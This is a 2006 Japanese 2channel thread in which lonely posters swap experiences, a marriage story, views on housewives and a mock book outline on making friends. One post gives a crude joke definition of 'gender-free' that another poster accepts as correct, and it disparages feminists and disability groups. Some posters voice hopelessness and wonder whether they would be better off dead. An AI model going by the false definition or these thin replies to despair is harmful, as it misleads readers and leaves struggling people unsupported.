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友達いなくて買い物・映画・旅行いつも一人■その4

1 :ルカ ◆IOAAALucaM :2006/02/10(金) 00:38:20 ID:usQWzFkh
一人で過ごす時間も楽しいし気楽だけど、
もっと人との関わりで満たされたい、なんだか淋しいとつぶやくスレです。

・つるんだり群れるのは苦痛だが、信頼できる人間関係は築きたい。
・協調性を強いられると、たいへん疲れる。
・一人で行動する人間を糾弾する社会に嫌気がさす。
・孤独で気が狂いそうになったことがある。
・対人スキルはあるが、人間嫌いだ。人を信用してない。
・人と仲良くしたいが、引っ込み思案で自分が嫌になる。
・なんだかようわからんが、友達が欲しい。

などなど、友達およびその周辺事項について語り合いたいです。


★派生掲示板

馴れ合いで迷惑をかけてしまった経緯で別館の掲示板をつくりました。
こちらも気軽に書き込んでください。

【友達が】ルカの人生相談掲示板【欲しい】
http://otd10.jbbs.livedoor.jp/1000010474/bbs_plain

2 :マジレスさん:2006/02/10(金) 00:38:50 ID:eukJl9XX
1乙

3 :ルカ ◆IOAAALucaM :2006/02/10(金) 00:38:59 ID:usQWzFkh
★過去スレ

友達いなくて買い物・映画・旅行いつも一人
http://life7.2ch.net/test/read.cgi/jinsei/1102246303/
http://makimo.to/2ch/life7_jinsei/1102/1102246303.html

友達いなくて買い物・映画・旅行いつも一人■その2
http://life7.2ch.net/test/read.cgi/jinsei/1123521212/
http://makimo.to/2ch/life7_jinsei/1123/1123521212.html

友達いなくて買い物・映画・旅行いつも一人■その3
http://life7.2ch.net/test/read.cgi/jinsei/1128280405/
(倉庫入り後)
http://makimo.to/2ch/life7_jinsei/1128/1128280405.html
(倉庫入り前)
http://ime.st/makimo.to/cgi-bin/dat2html/dat2html.cgi?life7/2/jinsei/1128280405/

4 :マジレスさん:2006/02/10(金) 03:25:49 ID:PqvOE0fq
992 名前:マジレスさん[sage] 投稿日:2006/02/09(木) 01:42:58 ID:q8jci194
>>988
今となっては男も一緒じゃないか?
男の俺としてはこんなところまでジェンダーフリーにされちゃあたまらん。

993 名前:齋藤[sage] 投稿日:2006/02/09(木) 22:46:53 ID:TGPEMSkR
>>992
ジェンダーフリーって何ですか?

994 名前:マジレスさん[] 投稿日:2006/02/09(木) 23:00:23 ID:cVUhTjZH
ニューハーフ達が集まって新しい世界を作っていこうとする活動のことだったと思うが・・・



ジェンダーフリの意味まちがってますからww

5 :齋藤:2006/02/11(土) 00:15:05 ID:kZ+I98si
自分はニューハーフだけど、そんな言葉は知らない。

6 :マジレスさん:2006/02/11(土) 00:35:58 ID:weLsH4WJ
ネタにマジレスいくないヽ(`□´)ノ

7 :齋藤:2006/02/11(土) 14:48:54 ID:kZ+I98si
>>6
マジレスじゃないもん。

8 :マジレスさん:2006/02/11(土) 19:15:53 ID:weLsH4WJ
こちらはネタスレですか?

9 :ルカ ◆IOAAALucaM :2006/02/12(日) 02:48:20 ID:AEqLnwdk
ジェンダーフリーは、男から睾丸を一個引きちぎって、女にもつけろっていう思想。
それで男女平等らしいです。
つまり、男らしさと女らしさの否定から出発する奇妙な思想であります。
女性が不当な扱いを受けてきたのを是正するのはいいと思うけどね、やりすぎなんだよ。

フェミニストや障害者団体はある意味で楽だよ(そして弱者のツラを盾にとってほとんど暴力的ですらあるけど)。
女性差別も障害者差別も公認されていて、わかりやすくて、みんなに理解してもらえる。

友達が少ない人間に対する差別がなくなる日は来るのであろうか。
そういう差別は、いまのところ表向きには「存在しない」ことになってますが。

で、問題は、齋藤さんは今も二個もっているのかどうか小一時間問い(ry

10 :マジレスさん:2006/02/12(日) 03:01:47 ID:/6YS+iep
もともとジェンダーフリーは、男女間にある雇用機会の不平等とか
「男が看護師なんてありえん」「女は家庭を守っていればいい」
とかの変な先入観を無くすのが目的じゃなかったっけ?

もっとも、確かに最近は変に拡大解釈されてきてるけどね。
ミスコンテストは女性軽視だ!とか。

11 :マジレスさん:2006/02/12(日) 03:04:55 ID:kFGx09mm
ジャンダーフリーも過激なものを除けばいい思うんだけどね。
もともとは男だから女だからこうしなきゃだめとかを和らげる奴じゃないの?

最近は、
女子と男子を同じ部屋で着替えさすとか過激な性教育をジェンダーフリーとかいってやるからだめなんだよね・・

カナシス

12 :マジレスさん:2006/02/12(日) 03:06:54 ID:/6YS+iep
>>11
>女子と男子を同じ部屋で着替えさすとか
それは是非実現してもらいたい(;´Д`)

13 :994:2006/02/12(日) 03:09:08 ID:Sf6pkQV5
ちょっと心が疲れていたんだ。すまんかった。


14 :マジレスさん:2006/02/12(日) 03:10:59 ID:/6YS+iep
別に謝るほどのことでもなく

15 :ルカ ◆IOAAALucaM :2006/02/12(日) 04:24:25 ID:AEqLnwdk
>>10-11
発端はそうみたいですね。
でもどうもおかしなものが目に付くのが気になってしまって...
フェミとかジェンダーフリーって聞くと、理不尽なことを押し付ける人たちって印象がついてしまった(´(・)`)
それは彼らの失敗なのかな。
線引きについては同感です。

まあ友達いない人への差別排除運動をしたところで、その種の失敗にまではとても至らないでしょうがw

16 :もも:2006/02/12(日) 15:23:14 ID:P/vqN9VJ
>>前スレ966 ルカさん
お久しぶりですもう新スレ立っていたんですね。乙です。
夫と知り合ったのは、友人の紹介です。
私の方はサークル関連で知り合った友人がいまして、
彼女もまた一人で行動するのが苦ではないタイプなので気軽に細く長い付き合いでしたが、
一時期、彼女も私も『男がほしい!』という衝動にかられまして
彼女が(健全なほうの)趣味の出会い系サイトをアクセス、
カラオケ仲間を募集している男性と連絡取りまして、
しばらくその彼Aさんと彼女と三人で時たまカラオケなど楽しんでおりましたが、
そのAさんを通じて今の夫を紹介されました。
夫はといいますと、長い間一人暮らしで身近には友人もなく、
このままでは寂しくて死んでしまうと本気で思ったそうです。
そして彼女も欲しいがまずは男友達がほしいと思って、サイトで男女問わず友達募集をかけたのだそうです。
当初、かなり危険なタイプやボーダーな人ばかりのアクセス連続でとても怖かったそうです。
トイレにたったまま帰らなかった女の子もいたそうです。
結婚後も、無記名の小包は安易に開けるなと厳命されたものです。
爆弾なんか入ってるわけじゃあるまいしと笑いましたが、
爆弾以外にも怖いものが入っている恐れがあると言われたくらいひどい目に度々あっていたようです。
Aさんとは彼が募集しているところ夫が連絡取りまして知り合ったそうです。
そう考えると、今の夫と知り合えたのは、夫の勇気ある一歩だったのだなと思います。


17 :もも:2006/02/12(日) 16:06:55 ID:P/vqN9VJ
連投すいません
で、最初の夫の印象はといいますと、
「聞いてたけど、やっぱりオタクだな」と思ったくらいで、別に危害の与えるようなイメージもないし、
ちょっとしたカラオケ楽しむ分には上々だなと思いました。
夫はといいますと
「聞いていたけど、タバコ吸ってる、見た目けばいけどおっさんみたい」と一瞬引いたそうです。
でも話してみると普通に楽しい人で安心したそうです。
何度か遊びに行っているうち、私が男性関係で幾度も躓いた家庭観が似ていることに気がついて
この人なら長い間付き合っても辛くはないなあと、私が口説き落とした感じです。
夫の方は自信がなかったそうですが、自分の苦手な所を私が出来ることと
私が何度も躁鬱状態に陥っても夫が救えるという自信がついて
結果、結婚しました。
うまく言えませんが、一人では不十分だったところ
本当にお互い助け合ってでなんとか社会の波に入れたような気がするのです。




18 :もも:2006/02/12(日) 16:08:26 ID:P/vqN9VJ
上でジェンダーフリーの話がありましたが、それとも話が繋がるようなきがします。
女だからといって家庭に縛り付けたり、男だから云々というのがありますが、
だからといって仕事は男女同権で同じ条件ですべきというのは疑問に思うのです。
家庭を守って家事や育児を一手に引き受ける専業主婦も
社会で働く女性や男性と同じく偉いし、必要であると思うのです。
母が家庭にいるというのは子供が最初に経験する小さな社会ですから
そこを大切にしていかないと、人との付き合い方に躓きやすい子供が
大量生産されて、現状の世の中になるのだと私は思うのです。
もちろん「俺が養ってやっているんだ」という考え方には到底賛成出来ませんが
子供を生み育てるまで少なくとも1年はかかり、しかも男が産めないのであれば
家事や育児は女が仕切る形が一番無理がないと思うのです。されど家事は24時間営業ですので
そのうえで、男が家事を手伝ったりするのは、思いやりのひとつではないかと思います。
それに「家事でそれくらいして当然」と思うのは
女の子が「奢られて当然」と同等にしょうもないことだと思います。
(もちろん奢ってくれるような器であるかどうかの吟味は女性はしてもいいでしょうが
その分のギブアンドテイクは考えるべきでしょうね)
とにかく専業主婦というのが軽く見られる限り、社会はもっと辛くなるのだと思います。
これに関しては非難轟々でしょうが。




19 :マジレスさん:2006/02/12(日) 18:43:00 ID:gfiOkmAw
>>9
>友達が少ない人間に対する差別

たぶん差別している人たちは、自分たちがそういう差別をしていることに気付いてさえいないかと。
気付かれないままに行われる差別っていうのはたちが悪い。
女性差別の問題だってほんの百年ちょっと前までは、それが差別であることが気付かれることすらなかったわけで。(ただし気付いていた人もほんのごく少数いたと思われる)
たぶん今差別を排除しようとする運動が起こったとしても、大多数の人は理解すらできないと思う。

20 :マジレスさん:2006/02/12(日) 18:49:13 ID:gfiOkmAw
すいません、追加。
女性は人間の総数の約半分いるし、障害者は目立つ。
女性差別や障害者差別と違う点は、友達少ない人間の数が少ないうえに目立たないということ。
だから余計に問題にされにくい。

21 :齋藤:2006/02/12(日) 20:23:00 ID:+IbQNR60
>>9 ルカさん
ジェンダーフリーの正しい意味を教えて下さってサンクス。



22 :マジレスさん:2006/02/12(日) 20:31:46 ID:prGQ2PT0
なんとなく友達ホスィ
ヘ(゚∀゚ヘ)(ノ゚∀゚)ノ

23 :マジレスさん:2006/02/12(日) 20:34:09 ID:Kg72bdS8
単純に相談相手・買い物のパートナーが欲しい。

24 :マジレスさん:2006/02/12(日) 21:55:22 ID:9S6uo8xL
その相談相手・買い物のパートナーってのが難しいんだよな。

25 :マジレスさん:2006/02/12(日) 22:01:43 ID:pJtyjvH5
漏れはたまには真面目なテーマを、語り合える友人が欲しい。
漏れの周りの友人は、どんな話にも笑いを求めてきて
正直疲れる。

26 :齋藤:2006/02/12(日) 22:50:27 ID:+IbQNR60
真面目なテーマを語り出すとドン引きされると思います。

27 :マジレスさん:2006/02/12(日) 22:52:22 ID:pJtyjvH5
一度真面目なテーマを語ったことがあって、ドン引きされましたw
別にいつもじゃなくていいから、ごくたまーに話したいだけなのに。

28 :マジレスさん:2006/02/12(日) 23:02:18 ID:MZfWKaO0
みんなメールを打つのに一生懸命。
新着確認ぐらいならわかるんだけどさ。
私はメール以下の人間。

29 :齋藤:2006/02/12(日) 23:16:24 ID:+IbQNR60
>>27
そうなんだよ、ドン引きされるんだよ。


30 :マジレスさん:2006/02/12(日) 23:40:57 ID:RjKk4fc/
みんなドン引きされるみたいだねwでも欲しいな。

31 :マジレスさん:2006/02/13(月) 00:09:10 ID:6PE0t8NY
気が合うとか合わないとかより、
思想的な背景が相手と一致していないと難しいよね>真面目なテーマ語り

32 :ともりも:2006/02/13(月) 00:36:03 ID:T+yCSM9F
自分にはコミュニケーションや人間関係、社会風潮まで問題意識を共有し、真面目に語れる知人がいる。
いや、語るというより一方的なものかもしれない。
彼は毎回、自分に対して問いかけをしてくる。
だが、その問いに自分は一度も答えを出せたことがない。
彼と自分は同じフィールドにたてたことがない不釣り合いな関係なのだ。
だから彼を友人として認識したことはない。
彼は東大を出て、この春、官僚になるという。
大学を休学し未だ将来を見据えられない自分と彼との不釣り合いはますます広がるばかりだ。


33 :マジレスさん:2006/02/13(月) 10:59:51 ID:QJZFqc3+
>>32 ともりもさん
その人とは友達ではなくても
真面目な話ができる人がいることは素晴らしいことだと思います。
一方的に話をしているんだとしても、あなたに問いかけを投げてくれるのなら
その人に受け入れられている気がします。
不釣合いな関係で友達にはなれないとしても、そういう人は大切です。

私には何でも話せる人すらいないので心から羨ましい。

34 :齋藤:2006/02/13(月) 11:00:02 ID:QJZFqc3+
>>32 ともりもさん
その人とは友達ではなくても
真面目な話ができる人がいることは素晴らしいことだと思います。
一方的に話をしているんだとしても、あなたに問いかけを投げてくれるのなら
その人に受け入れられている気がします。
不釣合いな関係で友達にはなれないとしても、そういう人は大切です。

私には何でも話せる人すらいないので心から羨ましい。

35 :ともりも:2006/02/13(月) 20:41:46 ID:T+yCSM9F
>>34
>齋藤さん

恋愛で例えれば、たとえ関係が片思いでも出会いがあっただけ良かったのかもしれない。
でも、そこには恋愛と同じように嫉妬や自己憎悪のような複雑な感情も、また存在するんだ。
難しい。

自分も何でも心の奥から素で話せる人はいないよ。
Aさんとは○○○の話をする明るい『自分』、Bさんとは×××の話をする真面目な『自分』というように、人によって『自分』の役割分担がある。
それは多重人格という訳ではなく、誰でも『自分』に幾つかの面を持ち合わせているはずだよ。
その『自分』という存在のどの面を切っても、その人とは、ありのままで接することができる、そんな人と出会いたいです。

36 :マジレスさん:2006/02/13(月) 21:55:18 ID:T+yCSM9F
>>18

書き込み拝見させて貰いました。
仕事への評価がダサい、目立つなどといった価値観だけで判断されてしまう社会に反発を感じます。
家庭の仕事は決して軽いものではないですし、自分の役割に誇りをもっているあなたを尊敬します。

37 :ともりも:2006/02/13(月) 21:56:15 ID:T+yCSM9F
>>18

書き込み拝見させて貰いました。
仕事への評価がダサい、目立つなどといった価値観だけで判断されてしまう社会に反発を感じます。
家庭の仕事は決して軽いものではないですし、自分の役割に誇りをもっているあなたを尊敬します。

38 :マジレスさん:2006/02/13(月) 22:57:14 ID:DFBe7Egc
真面目な話ってあまり好まれないらしいんだよね。

39 :マジレスさん:2006/02/14(火) 00:45:58 ID:llY/zOb3
22になった
一人で迎える今日はまた一段と寂しいね
がんばって変わろうとしたけど
うまくいかんかったな。。
不器用で弱すぎたよ、俺は
でも一年で変わるよ少しずつ

40 :マジレスさん:2006/02/14(火) 09:51:49 ID:Ts1OFoWC
>>22
誕生日おめでとう。
チョコレートあげたいよ。

変わるといいね。頑張りすぎなで頑張れ。

41 :40:2006/02/14(火) 09:52:44 ID:Ts1OFoWC
ごめん 上記は>>39へのレスだわ

42 :齋藤:2006/02/14(火) 12:16:29 ID:Ts1OFoWC
>>35 ともりもさん

>嫉妬や自己憎悪のような複雑な感情も、また存在するんだ。
 
 自分は昨年、高校の同級生に再会した。
 後日、食事にいくことが出来た。
 趣味や好み、思想も自分と似ていて話ははずんだが、
 同級生の職場や恵まれている環境が自分には面白くなかった。
 友達になれるかもしれないと思ったが、また同級生に会いたい気分にはなれなかった。
 自分より恵まれている人が羨ましくて妬ましくて、自分が落ち込むだけだから。
 人と自分が違うの当たり前なのに、それを受け止めて付き合っていけるほど
 大人じゃなかった。
 
 嫉妬がなかったら、いい友達になれたかもしれない。


 ありのままで接することができる人に出会ってみたいです。



 
 
 
 
 

  

43 :マジレスさん:2006/02/14(火) 12:26:59 ID:Ts1OFoWC
ちょっと尋ねたいんだけど、異性の友達って友達じゃない?

44 :マジレスさん:2006/02/14(火) 12:33:08 ID:vmLPZn3i
一人でやりたい事もあるけど、
カラオケばっかりは友達がいないとダメだ。
聴いてくれる人がいないと張り合いないし。
あと麻雀もネットで一人では全然つまらない。

45 :マジレスさん:2006/02/14(火) 13:21:57 ID:1t64uzhB
>>43
本人が友達だと思えば友達
友達じゃないと思えば友達じゃない

46 :齋藤:2006/02/14(火) 15:53:32 ID:Ts1OFoWC
>>45 
やっぱそうか。ありがと。

47 :ルカ ◆IOAAALucaM :2006/02/14(火) 22:10:10 ID:iCLfVSHQ
>>16-18ももさん
ちょっと失礼かもしれなかったのに、馴れ初めを教えてくれてありがとう(・∀・)
ご主人との出会い、読みました。いい(≧∇≦)b
おたがいの印象は何気ないものみたいだけど、自分の弱いところを
相手が補えるかもしれないっていう予感は強いですね。

しかし、女性も思うんですね。『男がほしい!』とwww
お茶を若干吹いてしまいましたが(;´∀`)
あ、こういうのもフェミニストが嫌いそうな表現なのかな...

女の子に追いかけられるのは嬉しいでしょうが、
危ない人は困りますね... せっかく結婚生活がスタートしたというのに(´(・)`)
「爆弾以外の怖いもの」 うーん、キニナルw

専業主婦については同感だなあ。この人たちがいなかったら高度経済成長も
なかっただろうし、母性をもってる側がやるべき育児もちゃんとこなして、
軽く見られるなんて本当はとんでもないことです。
主婦を軽んずる風潮は、フェミどもがすっかり蔓延させちゃいましたけど。

男が家事や育児に参加するのは、そうあるべきことだと思いますよ。
理屈はともかく、できる範囲で誰かを手伝ってあげるのは家事に限ったことではないし、
父性に触れさせるのも子どもにとって必要だし。おれはまだ未経験だけどw、
ただの好き嫌いだけで成り立つ関係じゃなくて結婚生活は仕事に近いと思うので...
なんつーか女をしらない童貞が妄想しすぎて頭でっかちになっているようなものかもしれないけど(;・∀・)
ももさん書いてたように、食事でも家事でも、ギブアンドテイクがいちばん妥当なやり方っていうか、
おれは気が楽ですわ...

48 :ルカ ◆IOAAALucaM :2006/02/14(火) 22:17:13 ID:iCLfVSHQ
>>19
いやごもっとも。
友達が少ない人に対する冷たい眼差しや明らかないじめは、
実生活のあちこちで発生しているのに、
暴力行為っていう罪の意識はないんじゃないかな。
言われて当たり前、みたいな。

>>21齋藤さん
いえ、あんな適当な意味でよかったのかなw

>>25-31
笑いも必要だし悪いことではないとは思うが、
おれもあっさーい話だけで一週間が終わると、つまらんのう( ゚д゚)
ネットで満足させるか、リアルで相手が見つければ儲け物って感じだなあ

>>38
>>1の掲示板ならおk!

>>39
誕生日おめでとうございます( ^▽^)
いい方向に変われますよーに(,,゚Д゚)†

49 :ルカ ◆IOAAALucaM :2006/02/14(火) 22:27:27 ID:iCLfVSHQ
書きたいことがあるのに気力が足らん(;´ρ`)
孤独感に押しつぶされそうになったらどうすりゃいいのかね。
その日一日、物理的に人が近くにいるだけで、ぜんぜん満たされない。
当たり前か。
自分の話だけ一方的にする人としゃべっても孤独感はちっとも薄まらない。
理由はわかってるが。
最近精神が悪化してきたなぁ...

50 :ともりも:2006/02/14(火) 23:52:35 ID:/gA5rzYv
>>42
>齋藤さん

相当強い人間でないと
>人と自分が違うの当たり前なのに、それを受け止めて付き合っていける
ことは出来ないと思う。
少なくとも自分はそうだよ。

醜いとは分かっていても、相手の存在をすぐに自分と比較してしまう。
相手の存在を純粋に受けとめられるだけ強くないんだ。
子供時代の頃の様に相手と無垢な気持ちで接することはもう無いのだろうか。


最近は、友達となれそうな人にも積極的にアプローチができない事もある。
大袈裟だけど誰かと知り合うのが恐いと思う瞬間もある。
無意識の中で、人と自分を比較して傷つくのを避けているからだ。


代わりに、テーマとして掲げているのが『自分磨き』とか『自分探し』とかいうやつ。
でも、これがまた厄介だ。
なぜなら、それは自分自身との闘いだから。
馴染めない自分の原因を周囲や社会のせいにしてお茶を濁すことはもう出来なくなるから。
全部自己責任。

『友達いないなら、自分磨きをしなよ』って孤独な人間には残酷な忠告だと思う。
やっぱり、人は一人ではなく、他人と切瑳拓磨して、みがかれていくんだと思う。



51 :ともりも:2006/02/15(水) 00:33:56 ID:T7sU9HIV
>>49
>ルカさん
お疲れさまです。
レス遅れていてすみません。

書きたいことは沢山あるが、それを書くのはまた別の労力が必要。
ブレスト形式のオフ会って聞いたことないが、一度やってみたら面白そうだ。

精神的な交流が伴わない、ただ物理的な交流は却って疲労が蓄積するだけ。
でも、だからといって、物理的な交流を拒絶すると今度は孤独が待ってる。
そして一度、孤独があるラインを越えると、もはや他人との物理的な交流さえも孤独要因にもなるスパイラルに突入。

他人との距離の距離の取り方、疲労と孤独のバランスが難しい。
担任の先生、僕は他人との付き合いのバランスをどこで学び忘れたのですか?
教科書のどこにのってるんですか?
昔みたいに授業中、困らせないのでもう一度教えてください。はぁ…

52 :ルカ ◆IOAAALucaM :2006/02/15(水) 02:01:05 ID:tNMEnEWx
>>51ともりもさん
ええ、スレは毎日見ているし、自分で思っていていろいろ書きたいことは
あるんだけど、書いてまとめるパワーが足りなくて就寝してみたりw


教科書で思い出したけど、
あちこちの友達いない系スレを見てきたり、友達いない系オフをいろいろ
やってきて思ったこと、その他友達や孤独にまつわることをレポートにしたら
面白いかもな、と最近妄想してまつ... そんな時間ないくせに(;`∀´)
いやホント、女を抱いたことのないキモヲタ童貞が『絶対モテる!! 10の方法('A`)』を
書くようなもんで嘲笑と批判が飛んできそうですがw

こういうのを見ていて、もしあったら真っ先に本屋に飛んで行って読んでみたいのに、と思うのれす・・・
http://homepage3.nifty.com/tenteba/tomo.html

53 :ルカ ◆IOAAALucaM :2006/02/15(水) 02:05:50 ID:tNMEnEWx
こんな感じかねw

『友達のつくり方』

はじめに---いつも一人ですが( ゚Д゚)ナニカ?

第1章 友達とは何か
1.1 人が言う「友達」とは一つの意味ではない
1.2 友達の定義 あれこれ

第2章 友達がいない
2.1 孤独の苦しみと生きにくさ
2.2 集団内における孤立
2.3 みんな本当に修学旅行が好きなのかw ---愚痴と恨み節
2.4 孤独にまつわる格言

第3章 なぜ友達ができないのか---ケーススタディ
3.1 一人が基本
3.2 機能不全の家庭
3.3 性格の偏り
3.4 人格障害
3.5 いじめ、人間不信

54 :ルカ ◆IOAAALucaM :2006/02/15(水) 02:08:30 ID:tNMEnEWx
第4章 応急処置的ノウハウ
4.1 嗚呼、誰かと話がしたい---私の恥ずかしい過去w
4.2 ネットがある時代に生まれて
4.3 哲学で救われるか
4.4 病院へ行こう
4.5 老後への備え---孤独死を避けるための年金・介護の知識w
4.6 燈台守と営業マン。苦痛の少ない職業の選び方

第5章 友達をつくるには
5.1 意外と知らない自分のいちばん欲しいもの---そもそも友達を必要としているのか
5.2 もっとも苦痛なことは何かを知る
5.3 自分はそんなに変われない
5.4 自分がどんな人間かを知ってもらう
5.5 実生活で人との関わりを豊かにする
5.6 2ちゃんねる オフの歩き方

付録
・友達いない系サイト10選 URL
・ルカの掲示板( ̄ー ̄)


55 :ルカ ◆IOAAALucaM :2006/02/15(水) 02:12:38 ID:tNMEnEWx
つか第5章なんて((;゚Д゚)オレシラナイ

おやすみなさい

56 :ともりも:2006/02/15(水) 02:27:44 ID:T7sU9HIV
目次(・∀・)イイ!!
WIKI形式でなんかで作りませんか?マジで

自分なんて一章の友達の定義でまず悩んでしまう。
物事の定義付けは肝心だ


57 :齋藤:2006/02/15(水) 07:24:16 ID:XHdMg81/
それ本にして、うちの会社で出版したいくらい

58 :マジレスさん:2006/02/15(水) 14:07:17 ID:qPw2OG8u
>50 たしかに、孤独人間に対して友達がないのは魅力が無いから、一人で自分を磨いてから出直せってのは難しい話だ。自分磨きって言ったって一緒に頑張る奴も評価してくれるやつもいいんだからな 
。もちべーしょんが続かない

59 :ともりも:2006/02/15(水) 19:03:22 ID:T7sU9HIV
そう。一人だとモチベーションが続かない。
でも、目標にしたい奴といると今度は嫉妬する。
もう、いいんだ。
疲れたから無人島に流されたい。

60 :スズキ:2006/02/15(水) 20:04:10 ID:XHdMg81/
無人島にゃインターネットもないから、きっと寂しいよ。


61 :ともりも:2006/02/15(水) 20:45:29 ID:T7sU9HIV
寂しいという感情は他者という存在があるからこそ、生じるんだよ。
無人島なら誰もいないから寂しいとは感じなくなるんじゃないかな。
でも、そもそも、他人がいても、精神的な交流がないから今も実質、無人島にいるのと同じか。


62 :マジレスさん:2006/02/16(木) 01:40:33 ID:0VLRa/Lk
ひとりぼっちなら、それでいいんだけど、微妙な付き合い(会社の接待)とかが嫌。毎日、人とはなしても表面上だけ。はけ口が無いからストレスたまるし、旅行とか物理的なものでは解消されないよ。自分を磨いて友達つくろうとしても、三日坊主。こんな私は死んだ方がましかな

63 :マジレスさん:2006/02/16(木) 03:22:09 ID:/qLucZ1X
ひっとりひとり

独房 監獄 無間地獄 ひっとりひとり

あぁ、腐っていく 腐っていく

「助けて、腐っていく、誰か」「キモチワルイ、近寄らないで」

「助けて、誰か、僕腐っていく」「うわ、キモチワルイ、よるな」
腐っていく
腐っていく

僕腐る 腐る

うごごごごご

64 :マジレスさん:2006/02/16(木) 03:48:21 ID:/qLucZ1X
毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日毎日
深く深く深く 僕は傷つけられ続けているのです
長い時間をかけて ジクジク ザックリ
毎日毎日 生きたまま血を吸われ 衰弱しているようです
もう僕は立ち直れないほどに

誰か誰か 誰か ありえない 腐っていく 腐っていく
うひひひひ
うひひひひひ

65 :ともりも:2006/02/16(木) 11:51:15 ID:0N9tG+WE
>>62

あなたが言うように、旅行とか買い物とか、物で、はけ口を満たしても、心が満たされることは結局無くて、根本的解決にはならない。
でも、延命措置にはなるよ。 ゐ`!!



66 :マジレスさん:2006/02/16(木) 13:48:05 ID:0VLRa/Lk
騙し騙し頑張ってきたけどどうせ根本的には解決されないから苦しいよ。どうすれば根本的な解決ができると思う?私なんか大勢の一人だし、死んでも誰も悲しまないよ。今は彼氏とも別れて、孤独。多分生涯孤独だよ。誰も私を必要としない。

67 :ともりも:2006/02/16(木) 16:24:30 ID:0N9tG+WE
>>66

典型的な想定レス

『いきなり根本的な解決を望まないで毎日一つずつ頑張って、解決していけばいつかは大丈夫だよ』

毎日、騙しながら頑張ってきても、結果がでない人間にとっては気休めにもならないアドバイス。

寧ろ、頑張りすぎないほうがいいのかも知れない。
諦めて、怠けた方が楽だったりもする。
世間では勝ち組勝ち組と騒いでるけど、実は怠け者が何だかんだで救済されてしまうのが日本の悪しきシステム。
これがまだ残っている今のうちに、負け組になって楽をするのが、いいのかもしれないねw

68 :齋藤:2006/02/16(木) 16:43:30 ID:bJF7h1Gt
出家したい。
ニューハーフでも出家できるかな・・・。

なんで友達できないんだろう。
顔か?性格か?話し方?服?メールの返信がつまらないのから?

お腹すいた。


69 :齋藤:2006/02/16(木) 17:10:22 ID:bJF7h1Gt
>>66
彼氏いただけ羨ましいよ。


70 :マジレスさん:2006/02/16(木) 23:34:22 ID:wZIe7+yg
斎藤さんの壊れっぷりに嫉妬

71 :マジレスさん:2006/02/16(木) 23:45:40 ID:0VLRa/Lk
>69
誰かとつきあったことないの?
私、22までつきあったことなくて、そのせいで鬱になったりして彼氏欲しさに、がんばって
自分を磨いてそれから何人かと付き合ったけど彼氏がいても結局、恋愛は自我をむき出しにする
関係だから、友達の方が欲しい。今は彼氏より友達が欲しい。友達の方が
絆が強く結べると思う。いま考えてると服とか美容にお金を注いだ自分磨き意味なかったて思う

72 :マジレスさん:2006/02/16(木) 23:51:00 ID:0VLRa/Lk
>67
怠け者が得するってわかる!私の幼馴染にメンヘルの子がいて、その子は小さいときから生活保護もらってて学校の遠足の代金も払ってなかった。
その子の家は本当に貧乏じゃなくて自営業でわざと少なく収入を申告して会社の費用で落として
旅行とかいきまくってた。私のうちは貧乏で(でも保護もらえるくらいではなかった)共働きで旅行とかいく余裕がなかったから羨ましかった

73 :ルカ ◆IOAAALucaM :2006/02/16(木) 23:51:04 ID:uh+qSTu8
>>56ともりもさん
wikiでつくるの面白そうだね。
ただ、このスレと掲示板の他に増やすと手が回らなくなるのと、
障壁が高いらしくて過疎化しそうだよ...
wikiの自サイトもっててそことくっつけようかとも思ったけど、
すでに書いてあることも見られてしまうので(恥、ためらいました。
掲示板がいいんじゃないのかなと。

74 :ルカ ◆IOAAALucaM :2006/02/16(木) 23:52:07 ID:uh+qSTu8
>>57齋藤さん
それはとても畏れ多いw (*_ _)

出家したいんですか。どうして??
おれは会社に入ったころ、俗世間がうざくてうざくて、
いつか仙人になってやる、山に篭ってやると思ってました。
そう遠くない場所に山がありまして。
政治や経済、環境問題、貧困問題、正直どうでもいいw
下の方では、社員が不倫しただの、明日は会社の飲み会だの、もっとどうでもいい。
そんなことより、おれの孤独がどうにかならんのかと。
現実にはおれは仙人にはなれなさそうだけど。
だって欲にまみれてるしw

齋藤さんがもし出家したら、戒名つけてもらう。
「孤」とか「独」って漢字は使わないでおながいしますw

> なんで友達できないんだろう
何万回自問自答したことか...

75 :マジレスさん:2006/02/16(木) 23:54:53 ID:PqZPSGyw
友達だってちょっとしたことですぐ壊れるよ。もろいもろい。
ほんとくだらん事でジ・エンド。
自分の人間性をもろ否定されるようで落ち込むんだなあ・・・

76 :ルカ ◆IOAAALucaM :2006/02/17(金) 00:01:18 ID:uh+qSTu8
>>58-59
誰がそばにいるかが問題だと思うな。
嫉妬の感情が湧くのは正常なんじゃない。
相互刺激が完全にない孤独より、
多少嫉妬しても張り合う相手がいたほうがおれにとってはまだ楽だな...

あと、ただの経験則だが、自分自身を嫌い過ぎている時期には人が寄らない、の法則がおれにはあるな・・・
自己受容できていない人間には誰も寄りたくないらしい。
なんか独特の悪臭がするそうでして。 (・ё・)クサー
そうかといって自分にウソをついて自己嫌悪を見ないフリすることもできない。
結局は、諦観の域に達するようにがんがらんと。
これが5.3で言いたいことかな。

77 :マジレスさん:2006/02/17(金) 00:03:26 ID:fIU7nncY
72の続き。そのメンヘルの子にこないだ会ったんだけど、大人になってからも同じ手使ってた。精神科で認定受けて働けないから月に
生活保護うけてる。で、昼間は働かないでブラブラずっと遊んでる。彼氏もいるみたいで朝から晩まで派遣で酷使されている
自分があほらしくみえてきた。私はもとが友達できない駄目人間だから、自分を少しでも変えようとがんばってもうまくいかないし、
(思うようには)、確かにがんばらないで気をぬいたほうが楽だと思った。はげましてくれてありがとお

78 :ルカ ◆IOAAALucaM :2006/02/17(金) 00:05:28 ID:VNsjPLyI
>>62
微妙な付き合いがイヤなのは、もろに遠い関係どうしで社交辞令交わすだけだからかな?
まあ友達どうしの交流で得られるものとは違うものだよね
おれも会社関係「以外」で人との関わりを求めてるよ。
「ああ、こいつとはわかりあえたな〜」と感覚的に通じ合う快感が欲しい。

79 :ルカ ◆IOAAALucaM :2006/02/17(金) 00:26:02 ID:VNsjPLyI
>>66
そう!それ!!!!

孤独の何がつらいかって、自分の存在があってもなくてもこの世が何も変わらない(と自分には完全にそう)思われること、
自分が何を考えて何に苦痛を覚えているのかをこの世の誰もが知らないこと、
この孤独がたぶん明日も続きそうだという予感が非常に堪える。
ただ単純に独りで居ることが辛いんじゃない、
ずっと独りで誰も自分のことを気にかけない日が永遠に続きそうだという(かなり高い確率で当たっていそうな)予感が、
もろに体をグサグサに傷つける。

